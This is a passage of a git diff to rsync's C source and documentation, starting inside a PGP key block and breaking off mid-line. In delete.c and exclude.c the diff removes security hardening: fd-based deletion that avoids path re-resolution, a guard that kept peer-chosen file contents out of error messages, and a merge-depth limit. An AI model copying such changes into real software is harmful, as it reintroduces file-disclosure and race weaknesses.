MlIzVp2Gv3VvgoWPi9+Jdr0mkc1KkAB95I71\n+4XKXNOwrflj4txU7fEh4rjQUwgFyjHSkUWjB/eySWTQ2NgknV2+48wfp0A9fm99J\n+lAfu4VCfEgDt9jJGnpjY3AkM60mGzzjvWeRizD8/Dr06m26ft8bQ1e6kpKsRlpmr\n+jgChjxC/KcwTFkagRgLahWcUTJrimaoElHJztLL1jt5ppyy1OBWDkqF8SxE+lj3f\n+0vCYfpc9/liCJUyPDZ24a20rT00Cvsu/nQLOdMls6XjFhWtpzWasX5UH5/ozouR+\n+9p2M5Db+90dst+jw+qWhQky7bSSs5cQ0WoG1fICTwS3AZyCnezWceKGNtHDxKekQ\n+8BmwjCW9OzI3EjbpUOxKI2hjcDU9V1NDft/OwU0EWcWsigEQAJ5TuUTyyAPkE+uj\n+oYvPN+xDU+w3+Kbiq7MOZHrphocSxk9/mn5ws9jdplHOBdPDn7MfmuzLoP9bDGMf\n+brlFFmzKZ9jCLBL36BxPE/6rISzyRQdCfS7mJUYrSl8w7iVQ5soQNRr9AZJi2yxW\n+/SfC5H9+TBIKkUk2In5/duCkJj7htYcWPS8g1HSyVJRWrJbzRxeEQP2yAEKTHp9c\n+D3//9AxxGTNAz/303TI7mIOvPpZ0n/hi+AieB7Ohw5Wd2zxEo0aioqCqTGJyw1m4\n+DLOmVNMpeqWEs2xXCmRy6uZgJ2rtCONzKkCfwdO9Chj76fmxjuH7EJMTl2BxAfc0\n+517JG/KYWzx/4RwJUshJl0K3TvsWi5nif1drZuFNkRg8MR2lAzc5i2iW8g+M4YHY\n+41pwGd3Bb/95SEH5g6AiPZ07JE0/CWjrFqC2BtcJmjWSwRTu1gkoioMROzkNYUnn\n+xqYhFHHyVCSLo8AGKid/Z2ZrC3YLfUhj/8X05xxax+cKQUaD5DdoBRZii/UiaY8f\n+YT1MyBOr3dL6e0wEpTMMZkOj/Ak5pP20fJUWrb0H8mFGLlmFvquHs7FIqELSaIrR\n++Qr4TMQ2+bucH57gf3XpLJvW+tLtNSnLpci/riuAAc3MVuhaKiWt5ik6Gsnm7aOm\n+5itXN6/S6wd/OF/aiyLt81EfREMvABEBAAHCwXYEGAECAAkFAlnFrIoCGwwAIQkQ\n+G7JJl6hTX28WIQSf7xEtzhmg3H6ILLgbskmXqFNfb6HyD/9dBaZ65JebaTS3312G\n+DfF5MkAQxXvnw7K3G9ZQvHwcFmXXHkXnHqbU/zlgNhTLATitgQjkRUR/MSTHPEIP\n+1X/wfaTpScBAUO0ODSQ3S+QCXD8yhequSLHTnoSt3rCbrAthR74rnSBtrk3UDPAm\n+N7MjUEd3kB4ayffmgqDUw0/TEujOTJGCU4Zy0ssTVNwMlW5Wquy5A5WxTw5wdqvc\n+D5MoCPpogou+uOUwcwTPJY5IMQuDpTPrOjv4FmsCMyTSsLUgTJcl1HDkT9DsxoMJ\n+7YfAHeTAQWOOSV4uAn4alj/LW5Bv1RhrnZ6XrMBrF0R/aFbc1sE21cAtAPI5gQp7\n+ajHTUl0m4KDNxdeDvZL6xctEV5uJO+6pGl1S2yTrqucAo08xBQx/KY3mZxg7sKVU\n+QSWcaRi6+9aFwEq6Cdziuk0i18QKBMxsAVuste51+ceWnEkI/pW1DuKlnzwyoYiT\n+J47hGvdv5OZ5Ms3mYQd+zLCITeRO20imr6Siuij/a2hCb97Y7KSr4IaC380I987G\n+6mXoShSOGCauShqoVBDpd3S/xXp6G2YEWwd3KjoMzdS0sdaA99J8S0ka6LoXP7uO\n+4U6AO+UIJslfDrA2aAXuEd+nW/mq2Tpq0ubr2dSNmVCvjspz4FeqWYcQuIZYw+jN\n+uT9H6KS+CbSvTWHEkEN1/CwuEg==\n+=7V4g\n -----END PGP PUBLIC KEY BLOCK-----\ndiff --git a/delete.c b/delete.c\nindex 83ebb9e..89c1f8d 100644\n--- a/delete.c\n+++ b/delete.c\n@@ -34,49 +34,6 @@ int ignore_perishable = 0;\n int non_perishable_cnt = 0;\n int skipped_deletes = 0;\n \n-/* Held fd of the directory whose contents delete_dir_contents() is currently\n- * removing, so delete_item()'s per-entry rmdir/unlink/chmod go through it\n- * instead of re-resolving the full path for every entry.  Set (with save/\n- * restore across the recursion) around the delete loop; -1 outside a recursive\n- * delete or when the secure resolver is gated off (chroot / non-receiver) or\n- * the path doesn't live directly in that dir. */\n-static int del_dirfd = -1;\n-static const char *del_dir_prefix;\n-static int del_dir_prefix_len;\n-\n-/* If `path` is a single component directly inside the dir being deleted,\n- * point *leaf at its basename and return the held dir fd; else return -1. */\n-static int del_held_dfd(const char *path, const char **leaf)\n-{\n-\tif (del_dirfd >= 0\n-\t && strncmp(path, del_dir_prefix, del_dir_prefix_len) == 0\n-\t && path[del_dir_prefix_len] == '/'\n-\t && strchr(path + del_dir_prefix_len + 1, '/') == NULL) {\n-\t\t*leaf = path + del_dir_prefix_len + 1;\n-\t\treturn del_dirfd;\n-\t}\n-\treturn -1;\n-}\n-\n-static void del_chmod(const char *fbuf, mode_t mode)\n-{\n-\tconst char *leaf;\n-\tint dfd = del_held_dfd(fbuf, &leaf);\n-\tif (dfd >= 0)\n-\t\tdo_chmod_atfd(dfd, leaf, mode);\n-\telse\n-\t\tdo_chmod_at(fbuf, mode);\n-}\n-\n-static int del_unlink(const char *fbuf)\n-{\n-\tconst char *leaf;\n-\tint dfd = del_held_dfd(fbuf, &leaf);\n-\tif (dfd >= 0 && do_unlink_atfd(dfd, leaf, 0) == 0)\n-\t\treturn 0;\n-\treturn robust_unlink(fbuf);\t/* fall back (ETXTBSY retry, or not held) */\n-}\n-\n static inline int is_backup_file(char *fn)\n {\n \tint k = strlen(fn) - backup_suffix_len;\n@@ -126,18 +83,6 @@ static enum delret delete_dir_contents(char *fname, uint16 flags)\n \tflags = (flags & ~(DEL_RECURSE|DEL_MAKE_ROOM|DEL_NO_UID_WRITE))\n \t      | DEL_DIR_IS_EMPTY;\n \n-\t/* Hold this dir open so the per-entry chmod/rmdir/unlink below (and in\n-\t * delete_item) become *at() calls against it rather than re-resolving the\n-\t * full path for every entry.  Save/restore around the recursion. */\n-\tint save_del_dirfd = del_dirfd;\n-\tconst char *save_del_prefix = del_dir_prefix;\n-\tint save_del_prefix_len = del_dir_prefix_len;\n-\tfname[dlen] = '\\0';\n-\tdel_dirfd = open_dir_secure(fname);\n-\tfname[dlen] = '/';\n-\tdel_dir_prefix = fname;\n-\tdel_dir_prefix_len = dlen;\n-\n \tfor (j = dirlist->used; j--; ) {\n \t\tstruct file_struct *fp = dirlist->files[j];\n \n@@ -153,7 +98,7 @@ static enum delret delete_dir_contents(char *fname, uint16 flags)\n \n \t\tstrlcpy(p, fp->basename, remainder);\n \t\tif (!(fp->mode & S_IWUSR) && !am_root && fp->flags & FLAG_OWNED_BY_US)\n-\t\t\tdel_chmod(fname, fp->mode | S_IWUSR);\n+\t\t\tdo_chmod(fname, fp->mode | S_IWUSR);\n \t\t/* Save stack by recursing to ourself directly. */\n \t\tif (S_ISDIR(fp->mode)) {\n \t\t\tif (delete_dir_contents(fname, flags | DEL_RECURSE) != DR_SUCCESS)\n@@ -163,12 +108,6 @@ static enum delret delete_dir_contents(char *fname, uint16 flags)\n \t\t\tret = DR_NOT_EMPTY;\n \t}\n \n-\tif (del_dirfd >= 0)\n-\t\tclose(del_dirfd);\n-\tdel_dirfd = save_del_dirfd;\n-\tdel_dir_prefix = save_del_prefix;\n-\tdel_dir_prefix_len = save_del_prefix_len;\n-\n \tfname[dlen] = '\\0';\n \n   done:\n@@ -200,7 +139,7 @@ enum delret delete_item(char *fbuf, uint16 mode, uint16 flags)\n \t}\n \n \tif (flags & DEL_NO_UID_WRITE)\n-\t\tdel_chmod(fbuf, mode | S_IWUSR);\n+\t\tdo_chmod(fbuf, mode | S_IWUSR);\n \n \tif (S_ISDIR(mode) && !(flags & DEL_DIR_IS_EMPTY)) {\n \t\t/* This only happens on the first call to delete_item() since\n@@ -220,21 +159,19 @@ enum delret delete_item(char *fbuf, uint16 mode, uint16 flags)\n \t}\n \n \tif (S_ISDIR(mode)) {\n-\t\tconst char *leaf;\n-\t\tint dfd = del_held_dfd(fbuf, &leaf);\n \t\twhat = \"rmdir\";\n-\t\tok = (dfd >= 0 ? do_unlink_atfd(dfd, leaf, AT_REMOVEDIR) : do_rmdir_at(fbuf)) == 0;\n+\t\tok = do_rmdir(fbuf) == 0;\n \t} else {\n \t\tif (make_backups > 0 && !(flags & DEL_FOR_BACKUP) && (backup_dir || !is_backup_file(fbuf))) {\n \t\t\twhat = \"make_backup\";\n \t\t\tok = make_backup(fbuf, True);\n \t\t\tif (ok == 2) {\n \t\t\t\twhat = \"unlink\";\n-\t\t\t\tok = del_unlink(fbuf) == 0;\n+\t\t\t\tok = robust_unlink(fbuf) == 0;\n \t\t\t}\n \t\t} else {\n \t\t\twhat = \"unlink\";\n-\t\t\tok = del_unlink(fbuf) == 0;\n+\t\t\tok = robust_unlink(fbuf) == 0;\n \t\t}\n \t}\n \ndiff --git a/doc/README-SGML b/doc/README-SGML\nnew file mode 100644\nindex 0000000..ce5a8e1\n--- /dev/null\n+++ b/doc/README-SGML\n@@ -0,0 +1,20 @@\n+Handling the rsync SGML documentation\n+\n+rsync documentation is now primarily in Docbook format.  Docbook is an\n+SGML/XML documentation format that is becoming standard on free\n+operating systems.  It's also used for Samba documentation.\n+\n+The SGML files are source code that can be translated into various\n+useful output formats, primarily PDF, HTML, Postscript and plain text.  \n+\n+To do this transformation on Debian, you should install the\n+docbook-utils package.  Having done that, you can say \n+\n+  docbook2pdf rsync.sgml\n+\n+and so on.\n+\n+On other systems you probably need James Clark's \"sp\" and \"JadeTeX\"\n+packages.  Work it out for yourself and send a note to the mailing\n+list.\n+\ndiff --git a/doc/profile.txt b/doc/profile.txt\nnew file mode 100644\nindex 0000000..b911d0a\n--- /dev/null\n+++ b/doc/profile.txt\n@@ -0,0 +1,42 @@\n+Notes on rsync profiling\n+\n+strlcpy is hot:\n+\n+                0.00    0.00       1/7735635     push_dir [68]\n+                0.00    0.00       1/7735635     pop_dir [71]\n+                0.00    0.00       1/7735635     send_file_list [15]\n+                0.01    0.00   18857/7735635     send_files [4]\n+                0.04    0.00  129260/7735635     send_file_entry [18]\n+                0.04    0.00  129260/7735635     make_file [20]\n+                0.04    0.00  141666/7735635     send_directory <cycle 1> [36]\n+                2.29    0.00 7316589/7735635     f_name [13]\n+[14]    11.7    2.42    0.00 7735635         strlcpy [14]\n+\n+\n+Here's the top few functions:\n+\n+ 46.23      9.57     9.57 13160929     0.00     0.00  mdfour64\n+ 14.78     12.63     3.06 13160929     0.00     0.00  copy64\n+ 11.69     15.05     2.42  7735635     0.00     0.00  strlcpy\n+ 10.05     17.13     2.08    41438     0.05     0.38  sum_update\n+  4.11     17.98     0.85 13159996     0.00     0.00  mdfour_update\n+  1.50     18.29     0.31                             file_compare\n+  1.45     18.59     0.30   129261     0.00     0.01  send_file_entry\n+  1.23     18.84     0.26  2557585     0.00     0.00  f_name\n+  1.11     19.07     0.23  1483750     0.00     0.00  u_strcmp\n+  1.11     19.30     0.23   118129     0.00     0.00  writefd_unbuffered\n+  0.92     19.50     0.19  1085011     0.00     0.00  writefd\n+  0.43     19.59     0.09   156987     0.00     0.00  read_timeout\n+  0.43     19.68     0.09   129261     0.00     0.00  clean_fname\n+  0.39     19.75     0.08    32887     0.00     0.38  matched\n+  0.34     19.82     0.07        1    70.00 16293.92  send_files\n+  0.29     19.89     0.06   129260     0.00     0.00  make_file\n+  0.29     19.95     0.06    75430     0.00     0.00  read_unbuffered\n+\n+\n+\n+mdfour could perhaps be made faster:\n+\n+/* NOTE: This code makes no attempt to be fast!  */\n+\n+There might be an optimized version somewhere that we can borrow.\ndiff --git a/doc/rsync.sgml b/doc/rsync.sgml\nnew file mode 100644\nindex 0000000..0f90059\n--- /dev/null\n+++ b/doc/rsync.sgml\n@@ -0,0 +1,351 @@\n+<!DOCTYPE book PUBLIC \"-//OASIS//DTD DocBook V4.1//EN\">\n+<book id=\"rsync\">\n+  <bookinfo>\n+    <title>rsync</title>\n+    <copyright>\n+      <year>1996 -- 2002</year>\n+      <holder>Martin Pool</holder>\n+      <holder>Andrew Tridgell</holder>\n+    </copyright>\n+    <author>\n+      <firstname>Martin</firstname>\n+      <surname>Pool</surname>\n+    </author>\n+  </bookinfo>\n+\n+  <chapter>\n+    <title>Introduction</title>\n+\n+    <para>rsync is a flexible program for efficiently copying files or\n+      directory trees.\n+\n+    <para>rsync has many options to select which files will be copied\n+      and how they are to be transferred.  It may be used as an\n+      alternative to ftp, http, scp or rcp.\n+\n+    <para>The rsync remote-update protocol allows rsync to transfer just\n+      the differences between two sets of files across the network link,\n+      using an efficient checksum-search algorithm described in the\n+      technical report that accompanies this package.</para>\n+\n+    <para>Some of the additional features of rsync are:</para>\n+\n+    <itemizedlist>\n+      \n+      <listitem>\n+\t<para>support for copying links, devices, owners, groups and\n+\t  permissions\n+\t</para>\n+      </listitem>\n+      \n+      <listitem>\n+\t<para>\n+\t  exclude and exclude-from options similar to GNU tar\n+\t</para>\n+      </listitem>\n+\n+      <listitem>\n+\t<para>\n+\t  a CVS exclude mode for ignoring the same files that CVS would ignore\n+      </listitem>\n+\n+      <listitem>\n+\t<para>\n+\t  can use any transparent remote shell, including rsh or ssh\n+      </listitem>\n+\n+      <listitem>\n+\t<para>\n+\t  does not require root privileges\n+      </listitem>\n+\n+      <listitem>\n+\t<para>\n+\t  pipelining of file transfers to minimize latency costs\n+      </listitem>\n+\t\t\n+      <listitem>\n+\t<para>\n+\t  support for anonymous or authenticated rsync servers (ideal for\n+\t  mirroring)\n+\t</para>\n+      </listitem>\n+    </itemizedlist>\n+  </chapter>\n+\n+\n+\n+  <chapter>\n+    <title>Using rsync</title>\n+    <section>\n+      <title>\n+\tIntroductory example\n+      </title>\n+      \n+      <para>\n+\tProbably the most common case of rsync usage is to copy files\n+\tto or from a remote machine using\n+\t<application>ssh</application> as a network transport.  In\n+\tthis situation rsync is a good alternative to\n+\t<application>scp</application>.\n+      </para>\n+\n+      <para>\n+\tThe most commonly used arguments for rsync are\n+      </para>\n+\n+      <variablelist>\n+\t<varlistentry>\n+\t  <term><option>-v</option></term>\n+\t  <listitem>\n+\t    <para>Be verbose.  Primarily, display the name of each file as it is copied.</para>\n+\t  </listitem>\n+\t</varlistentry>\n+\n+\n+\t<varlistentry>\n+\t  <term><option>-a</option></term>\n+\t  <listitem>\n+\t    <para>\n+\t      Reproduce the structure and attributes of the origin files as exactly\n+\t      as possible: this includes copying subdirectories, symlinks, special\n+\t      files, ownership and permissions.  (@xref{Attributes to\n+\t      copy}.)\n+\t    </para>\n+\t  </listitem>\n+\t</varlistentry>\n+      </variablelist>\n+\n+\n+\t\n+      <para><option>-v </option>\n+      \n+      <para><option>-z</option>\n+\tCompress network traffic, using a modified version of the\n+\t@command{zlib} library.</para>\n+      \n+      <para><option>-P</option>\n+\tDisplay a progress indicator while files are transferred.  This should\n+\tnormally be omitted if rsync is not run on a terminal.\n+      </para>\n+    </section>\n+\n+\n+\n+\n+    <section>\n+      <title>Local and remote</title>\n+      \n+      <para>There are six different ways of using rsync. They\n+      are:</para>\n+\n+      \n+\n+      <!-- one of (CALLOUTLIST GLOSSLIST ITEMIZEDLIST ORDEREDLIST SEGMENTEDLIST SIMPLELIST VARIABLELIST CAUTION IMPORTANT NOTE TIP WARNING LITERALLAYOUT PROGRAMLISTING PROGRAMLISTINGCO SCREEN SCREENCO SCREENSHOT SYNOPSIS CMDSYNOPSIS FUNCSYNOPSIS CLASSSYNOPSIS FIELDSYNOPSIS CONSTRUCTORSYNOPSIS DESTRUCTORSYNOPSIS METHODSYNOPSIS FORMALPARA PARA SIMPARA ADDRESS BLOCKQUOTE GRAPHIC GRAPHICCO MEDIAOBJECT MEDIAOBJECTCO INFORMALEQUATION INFORMALEXAMPLE INFORMALFIGURE INFORMALTABLE EQUATION EXAMPLE FIGURE TABLE MSGSET PROCEDURE SIDEBAR QANDASET ANCHOR BRIDGEHEAD REMARK HIGHLIGHTS ABSTRACT AUTHORBLURB EPIGRAPH INDEXTERM REFENTRY SECTION) -->\n+      <orderedlist>\n+\t<listitem>\n+\t  <para>\n+\t    for copying local files. This is invoked when neither\n+\t    source nor destination path contains a @code{:} separator\n+\n+\t<listitem>\n+\t  <para>\n+\t    for copying from the local machine to a remote machine using\n+\t    a remote shell program as the transport (such as rsh or\n+\t    ssh). This is invoked when the destination path contains a\n+\t    single @code{:} separator.\n+\n+\t<listitem>\n+\t  <para>\n+\t    for copying from a remote machine to the local machine\n+\t    using a remote shell program. This is invoked when the source\n+\t    contains a @code{:} separator.\n+\n+\t<listitem>\n+\t  <para>\n+\t    for copying from a remote rsync server to the local\n+\t    machine. This is invoked when the source path contains a @code{::}\n+\t    separator or a @code{rsync://} URL.\n+\n+\t<listitem>\n+\t  <para>\n+\t    for copying from the local machine to a remote rsync\n+\t    server. This is invoked when the destination path contains a @code{::}\n+\t    separator.\n+\n+\t<listitem>\n+\t  <para>\n+\t    for listing files on a remote machine. This is done the\n+\t    same way as rsync transfers except that you leave off the\n+\t    local destination.  \n+\n+\t</listitem>\n+      </orderedlist>\n+\t  <para>\n+Note that in all cases (other than listing) at least one of the source\n+and destination paths must be local.\n+\n+\t  <para>\n+Any one invocation of rsync makes a copy in a single direction.  rsync\n+currently has no equivalent of @command{ftp}'s interactive mode.\n+\n+@cindex @sc{nfs}\n+@cindex network filesystems\n+@cindex remote filesystems\n+\n+\t  <para>\n+rsync's network protocol is generally faster at copying files than\n+network filesystems such as @sc{nfs} or @sc{cifs}.  It is better to\n+run rsync on the file server either as a daemon or over ssh than\n+running rsync giving the network directory.\n+      </para>\n+    </section>\n+  </chapter>\n+\n+\n+\n+  <chapter>\n+    <title>Frequently asked questions</title>\n+\n+    \n+    <!-- one of (CALLOUTLIST GLOSSLIST ITEMIZEDLIST ORDEREDLIST SEGMENTEDLIST SIMPLELIST VARIABLELIST CAUTION IMPORTANT NOTE TIP WARNING LITERALLAYOUT PROGRAMLISTING PROGRAMLISTINGCO SCREEN SCREENCO SCREENSHOT SYNOPSIS CMDSYNOPSIS FUNCSYNOPSIS CLASSSYNOPSIS FIELDSYNOPSIS CONSTRUCTORSYNOPSIS DESTRUCTORSYNOPSIS METHODSYNOPSIS FORMALPARA PARA SIMPARA ADDRESS BLOCKQUOTE GRAPHIC GRAPHICCO MEDIAOBJECT MEDIAOBJECTCO INFORMALEQUATION INFORMALEXAMPLE INFORMALFIGURE INFORMALTABLE EQUATION EXAMPLE FIGURE TABLE MSGSET PROCEDURE SIDEBAR QANDASET ANCHOR BRIDGEHEAD REMARK HIGHLIGHTS ABSTRACT AUTHORBLURB EPIGRAPH INDEXTERM SECTION SIMPLESECT REFENTRY SECT1) -->\n+    <qandaset>\n+      <!-- one of (QANDADIV QANDAENTRY) -->\n+\n+      <qandaentry>\n+\t<question>\n+\t  <!-- one of (CALLOUTLIST GLOSSLIST ITEMIZEDLIST ORDEREDLIST\n+\t  SEGMENTEDLIST SIMPLELIST VARIABLELIST CAUTION IMPORTANT NOTE\n+\t  TIP WARNING LITERALLAYOUT PROGRAMLISTING PROGRAMLISTINGCO\n+\t  SCREEN SCREENCO SCREENSHOT SYNOPSIS CMDSYNOPSIS FUNCSYNOPSIS\n+\t  CLASSSYNOPSIS FIELDSYNOPSIS CONSTRUCTORSYNOPSIS\n+\t  DESTRUCTORSYNOPSIS METHODSYNOPSIS FORMALPARA PARA SIMPARA\n+\t  ADDRESS BLOCKQUOTE GRAPHIC GRAPHICCO MEDIAOBJECT\n+\t  MEDIAOBJECTCO INFORMALEQUATION INFORMALEXAMPLE\n+\t  INFORMALFIGURE INFORMALTABLE EQUATION EXAMPLE FIGURE TABLE\n+\t  PROCEDURE ANCHOR BRIDGEHEAD REMARK HIGHLIGHTS INDEXTERM) -->\n+\t  <para>Are there mailing lists for rsync?\n+\t</question>\n+\n+\t<answer>\n+\t  <para>Yes, and you can subscribe and unsubscribe through a\n+\t  web interface at\n+\t    <ulink\n+\t      url=\"http://lists.samba.org/\">http://lists.samba.org/</ulink>\n+\t  </para>\n+\n+\t  <para>\n+\t    If you are having trouble with the mailing list, please\n+\t    send mail to the administrator\n+\t    \n+\t    <email>rsync-admin@lists.samba.org</email>\n+\n+\t    not to the list itself.\n+\t  </para>\n+\n+\t  <para>\n+\t    The mailing list archives are searchable.  Use \n+\t    <ulink url=\"http://google.com/\">Google</ulink> and prepend\n+\t    the search with <userinput>site:lists.samba.org\n+\t    rsync</userinput>, plus relevant keywords.\n+\t  </para>\n+\t</answer>\n+      </qandaentry>\n+\n+\n+      <qandaentry>\n+\t<question>\n+\t  <para>\n+\t    Why is rsync so much bigger when I build it with\n+\t    <command>gcc</command>?\n+\t  </para>\n+\t</question>\n+\t<answer>\n+\t  <para>\n+\t    On gcc, rsync builds by default with debug symbols\n+\t    included.  If you strip both executables, they should end\n+\t    up about the same size.  (Use <command>make\n+\t    install-strip</command>.)\n+\t  </para>\n+\t</answer>\n+      </qandaentry>\n+\n+      \n+      <qandaentry>\n+\t<question>\n+\t  <para>Is rsync useful for a single large file like an ISO image?</para>\n+\t</question>\n+\t<answer>\n+\t  <para>\n+\t    Yes, but note the following:\n+\n+\t  <para>\n+   Background: A common use of rsync is to update a file (or set of files) in one location from a more\n+   correct or up-to-date copy in another location, taking advantage of portions of the files that are\n+   identical to speed up the process. (Note that rsync will transfer a file in its entirety if no copy\n+   exists at the destination.)\n+\n+\t  <para>\n+   (This discussion is written in terms of updating a local copy of a file from a correct file in a\n+   remote location, although rsync can work in either direction.)\n+\n+\t  <para>\n+   The file to be updated (the local file) must be in a destination directory that has enough space for\n+   two copies of the file. (In addition, keep an extra copy of the file to be updated in a different\n+   location for safety -- see the discussion (below) about rsync's behavior when the rsync process is\n+   interrupted before completion.)\n+\n+\t  <para>\n+   The local file must have the same name as the remote file being sync'd to (I think?). If you are\n+   trying to upgrade an iso from, for example, beta1 to beta2, rename the local file to the same name\n+   as the beta2 file. *(This is a useful thing to do -- only the changed portions will be\n+   transmitted.)*\n+\n+\t  <para>\n+   The extra copy of the local file kept in a different location is because of rsync's behavior if\n+   interrupted before completion:\n+\n+\t  <para>\n+   * If you specify the --partial option and rsync is interrupted, rsync will save the partially\n+   rsync'd file and throw away the original local copy. (The partially rsync'd file is correct but\n+   truncated.) If rsync is restarted, it will not have a local copy of the file to check for duplicate\n+   blocks beyond the section of the file that has already been rsync'd, thus the remainder of the rsync\n+   process will be a \"pure transfer\" of the file rather than taking advantage of the rsync algorithm.\n+\n+\t  <para>\n+   * If you don't specify the --partial option and rsync is interrupted, rsync will throw away the\n+   partially rsync'd file, and, when rsync is restarted starts the rsync process over from the\n+   beginning.\n+\n+\t  <para>\n+   Which of these is most desirable depends on the degree of commonality between the local and remote\n+   copies of the file *and how much progress was made before the interruption*.\n+\n+\t  <para>\n+   The ideal approach after an interruption would be to create a new file by taking the original file\n+   and deleting a portion equal in size to the portion already rsync'd and then appending *the\n+   remaining* portion to the portion of the file that has already been rsync'd. (There has been some\n+   discussion about creating an option to do this automatically.)\n+\n+   The --compare-dest option is useful when transferring multiple files, but is of no benefit in\n+   transferring a single file. (AFAIK)\n+\n+   *Other potentially useful information can be found at:\n+   -[3]http://twiki.org/cgi-bin/view/Wikilearn/RsyncingALargeFile\n+\n+   This answer, formatted with \"real\" bullets, can be found at:\n+   -[4]http://twiki.org/cgi-bin/view/Wikilearn/RsyncingALargeFileFAQ*\n+\n+\t  </para>\n+\t</answer>\n+      </qandaentry>\n+    </qandaset>\n+  </chapter>\n+\n+\n+  <appendix>\n+    <title>Other Resources</title>\n+    \n+    <para><ulink url=\"http://www.ccp14.ac.uk/ccp14admin/rsync/\"></ulink></para>\n+  </appendix>\n+</book>\ndiff --git a/exclude.c b/exclude.c\nindex 7476f6a..87edbcf 100644\n--- a/exclude.c\n+++ b/exclude.c\n@@ -41,100 +41,6 @@ extern int sanitize_paths;\n extern int protocol_version;\n extern int trust_sender_args;\n extern int module_id;\n-extern int operator_path_resolve;\n-\n-/* Set while the daemon loads its own filter parameters; see parse_filter_file(). */\n-int daemon_config_filter_file = 0;\n-\n-/* Where the rule text now being parsed came from, when that is a file's\n- * CONTENTS rather than an argument.  A rule that fails to parse used to be\n- * echoed back verbatim, and the peer chooses which file gets merged (a\n- * per-directory merge rule travels over the protocol, so no argument of ours\n- * ever names it), which made the filter parser a read-any-line oracle: any\n- * line that is not valid filter syntax came straight back in the error.\n- * Report where the bad rule is, not what it says. */\n-static int rule_src_in_file = 0;   /* parsing a file's contents right now */\n-static const char *rule_src_file = NULL;   /* ...and its name is safe to show */\n-static int rule_src_line = 0;\n-/* Where a file whose own name we must NOT print was named, which is a location\n- * we CAN print: it keeps the diagnostic useful without echoing the pathname a\n- * merge rule supplied. */\n-static const char *rule_src_named_at = NULL;\n-\n-/* True while the text we are handling came out of a file's contents: either we\n- * are parsing that file right now, or this is a deferred per-dir merge whose\n- * NAME came from one and which carries the provenance on the rule. */\n-#define TEXT_FROM_FILE(template) \\\n-\t(rule_src_in_file \\\n-\t || ((template) && (template)->rflags & FILTRULE_FROM_FILE))\n-\n-/* \"FILE line N\", or just \"FILE\" when the count is not a line count. */\n-static const char *rule_src_where(void)\n-{\n-\tstatic char buf[MAXPATHLEN + 32];\n-\n-\tif (!rule_src_file) {\n-\t\tif (!rule_src_named_at)\n-\t\t\treturn \"a file read earlier\";   /* origin not retained */\n-\t\tsnprintf(buf, sizeof buf, \"a file named at %s\", rule_src_named_at);\n-\t\treturn buf;\n-\t}\n-\tif (rule_src_line < 0)\n-\t\treturn rule_src_file;\n-\tsnprintf(buf, sizeof buf, \"%s line %d\", rule_src_file, rule_src_line);\n-\treturn buf;\n-}\n-\n-/* THE chokepoint.  Every diagnostic string that is, or is built from, a filter\n- * rule's own text -- a pattern, a merge-file name, a path composed from one --\n- * must be passed through rule_text() on its way to rprintf().  When the rule\n- * came from an argument the text is returned unchanged, because it is the\n- * user's own and hiding it only makes typos harder to fix.  When it came from\n- * a FILE's contents it is replaced by a description of where it came from,\n- * because the peer chooses which file gets merged and any line of it that\n- * reaches a message is a line the peer can read back.\n- *\n- * Doing it here rather than at each site is the point: a message added later\n- * cannot reintroduce the leak by forgetting to check, and there is one place\n- * to audit.  `template' is the rule the text belongs to, or NULL when the only\n- * thing that matters is whether we are parsing a file right now.\n- *\n- * The returned buffer is rotated, so two calls in one rprintf() are safe. */\n-static const char *rule_text_len(const filter_rule *template,\n-\t\t\t\t const char *text, int len)\n-{\n-\tstatic char buf[2][BIGPATHBUFLEN];\n-\tstatic int which = 0;\n-\tchar *b = buf[which];\n-\n-\twhich ^= 1;\n-\tif (!TEXT_FROM_FILE(template)) {\n-\t\tif (len < 0)\n-\t\t\treturn text;\n-\t\tsnprintf(b, sizeof buf[0], \"%.*s\", len, text);\n-\t\treturn b;\n-\t}\n-\tsnprintf(b, sizeof buf[0], \"<rule from %s>\", rule_src_where());\n-\treturn b;\n-}\n-\n-static const char *rule_text(const filter_rule *template, const char *text)\n-{\n-\treturn rule_text_len(template, text, -1);\n-}\n-\n-/* For the extra detail some messages add ABOUT the text -- a character of it,\n- * an offset into it.  Dropped along with the text it describes. */\n-static const char *rule_detail(const filter_rule *template, const char *detail)\n-{\n-\treturn TEXT_FROM_FILE(template) ? \"\" : detail;\n-}\n-\n-static void filter_rule_err(const char *msg, const char *rulestr)\n-{\n-\trprintf(FERROR, \"%s: %s\\n\", msg, rule_text(NULL, rulestr));\n-\texit_cleanup(RERR_SYNTAX);\n-}\n \n extern char curr_dir[MAXPATHLEN];\n extern unsigned int curr_dir_len;\n@@ -165,9 +71,6 @@ static int dirbuf_depth;\n /* This is True when we're scanning parent dirs for per-dir merge-files. */\n static BOOL parent_dirscan = False;\n \n-#define MAX_MERGE_DEPTH 32\n-static int merge_depth = 0;\n-\n /* This array contains a list of all the currently active per-dir merge\n  * files.  This makes it easier to save the appropriate values when we\n  * \"push\" down into each subdirectory. */\n@@ -268,10 +171,10 @@ static void add_rule(filter_rule_list *listp, const char *pat, unsigned int pat_\n \telse\n \t\tmention_rule_suffix = DEBUG_GTE(FILTER, 2) ? \"\" : NULL;\n \tif (mention_rule_suffix) {\n-\t\trprintf(FINFO, \"[%s] add_rule(%s%s)%s%s\\n\",\n-\t\t\twho_am_i(), rule_detail(rule, get_rule_prefix(rule, pat, 0, NULL)),\n-\t\t\trule_text_len(rule, pat, (int)pat_len),\n-\t\t\tlistp->debug_type, rule_detail(rule, mention_rule_suffix));\n+\t\trprintf(FINFO, \"[%s] add_rule(%s%.*s%s)%s%s\\n\",\n+\t\t\twho_am_i(), get_rule_prefix(rule, pat, 0, NULL),\n+\t\t\t(int)pat_len, pat, (rule->rflags & FILTRULE_DIRECTORY) ? \"/\" : \"\",\n+\t\t\tlistp->debug_type, mention_rule_suffix);\n \t}\n \n \t/* These flags also indicate that we're reading a list that\n@@ -376,7 +279,7 @@ static void add_rule(filter_rule_list *listp, const char *pat, unsigned int pat_\n \t\t}\n \n \t\tlp = new_array0(filter_rule_list, 1);\n-\t\tif (asprintf(&lp->debug_type, \" [per-dir %s]\", rule_text(rule, cp)) < 0)\n+\t\tif (asprintf(&lp->debug_type, \" [per-dir %s]\", cp) < 0)\n \t\t\tout_of_memory(\"add_rule\");\n \t\trule->u.mergelist = lp;\n \n@@ -524,7 +427,7 @@ void add_implied_include(const char *arg, int skip_daemon_module)\n \t\t\t\tif (cp[1] == ']') {\n \t\t\t\t\tif (!saw_wild)\n \t\t\t\t\t\tcp++; /* A \\] in a non-wild filter causes a problem, so drop the \\ . */\n-\t\t\t\t} else if (!cp[1] || !strchr(\"*[?\", cp[1])) 